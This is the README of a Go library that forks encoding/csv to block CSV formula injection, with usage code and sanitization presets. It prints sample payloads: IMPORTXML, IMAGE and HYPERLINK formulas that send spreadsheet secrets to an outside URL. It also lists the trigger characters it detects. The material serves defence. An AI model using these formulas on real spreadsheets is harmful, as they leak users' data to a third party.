A fork of encoding/csv (go v1.23.4) package from Go stdlib, preventing CSV injection and data exfiltration, while maintaining compatibility with the original library.
The following CSV:
col1,col2,col3
-21-21,=A1,42
Would be rendered in Excel like this:
col1,col2,col3
-42,col1,42
The following CSV might request external resource and leak data.
userId,secret
1,secret1
2,secret2
3,"=IMPORTXML(CONCAT(""https://samuel-berthe.fr?dump="", CONCATENATE(A1:B6)), ""//a"")"
4,=IMAGE("https://samuel-berthe.fr?dump=" & INDIRECT("B2"))
5,=HYPERLINK("https://samuel-berthe.fr?dump=" & INDIRECT("B2"), "a link")
See https://georgemauer.net/2017/10/07/csv-injection.html.
and https://owasp.org/www-community/attacks/CSV_Injection
This library now supports OWASP-compliant CSV injection prevention using the recommended sanitization approach:
- Wraps all fields in double quotes
- Prepends a single quote (
') to dangerous fields only (not all fields) - Escapes double quotes using an additional double quote
Dangerous fields are detected when:
- Field starts with dangerous characters:
=,+,-,@,\t,\r,\n - Field contains bypass patterns: quote/separator followed by dangerous character (e.g.,
","=,";"=)
This approach protects against both direct formula injection and bypass attacks via embedded separators/quotes, while avoiding unnecessary data pollution of safe fields.
go get github.com/samber/go-safe-csv-writerThis library is v0 and follows SemVer strictly.
Some breaking changes might be made to exported APIs before v1.0.0.
GoDoc: https://godoc.org/github.com/samber/go-safe-csv-writer
import csv "github.com/samber/go-safe-csv-writer"
func main() {
var buff strings.Builder
// OWASP-compliant mode (recommended)
writer := csv.NewSafeWriter(&buff, csv.OWASPSafe)
writer.Write([]string{"userId", "secret", "comment"})
writer.Write([]string{"-21+63", "=A1", "foo, bar"})
writer.Flush()
if err := writer.Error(); err != nil {
panic(err)
}
output := buff.String()
// "userId","secret","comment"
// "'-21+63","'=A1","foo, bar"
}Or with custom options:
writer := csv.NewSafeWriter(
&buff,
csv.SafetyOpts{
ForceDoubleQuotes: true,
EscapeCharEqual: true,
},
)// Prototype:
func NewSafeWriter(w io.Writer, opts SafetyOpts) *SafeWriter// Available options:
type SafetyOpts struct {
ForceDoubleQuotes bool
EscapeCharEqual bool
EscapeCharPlus bool
EscapeCharMinus bool
EscapeCharAt bool
EscapeCharTab bool
EscapeCharCR bool // Escapes 0x0D (Carriage Return, '\r')
EscapeCharLF bool // Escapes 0x0A (Line Feed, '\n')
PrependSingleQuote bool // Prepend single quote to dangerous fields only
}// Presets:
// OWASPSafe provides OWASP-compliant CSV injection prevention.
// It wraps all fields in double quotes and prepends a single quote
// to fields that contain dangerous characters or bypass patterns.
// See https://owasp.org/www-community/attacks/CSV_Injection
var OWASPSafe = SafetyOpts{
ForceDoubleQuotes: true,
PrependSingleQuote: true,
}
var FullSafety = SafetyOpts{
ForceDoubleQuotes: true,
EscapeCharEqual: true,
EscapeCharPlus: true,
EscapeCharMinus: true,
EscapeCharAt: true,
EscapeCharTab: true,
EscapeCharCR: true,
EscapeCharLF: true,
PrependSingleQuote: false,
}
var EscapeAll = SafetyOpts{
ForceDoubleQuotes: false,
EscapeCharEqual: true,
EscapeCharPlus: true,
EscapeCharMinus: true,
EscapeCharAt: true,
EscapeCharTab: true,
EscapeCharCR: true,
EscapeCharLF: true,
PrependSingleQuote: false,
}- Ping me on Twitter @samuelberthe (DMs, mentions, whatever :))
- Fork the project
- Fix open issues or request new features
Don't hesitate ;)
# Install some dev dependencies
make tools
# Run tests
make test
# or
make watch-testGive a βοΈ if this project helped you!
Copyright Β© 2024 Samuel Berthe.
This project is MIT licensed.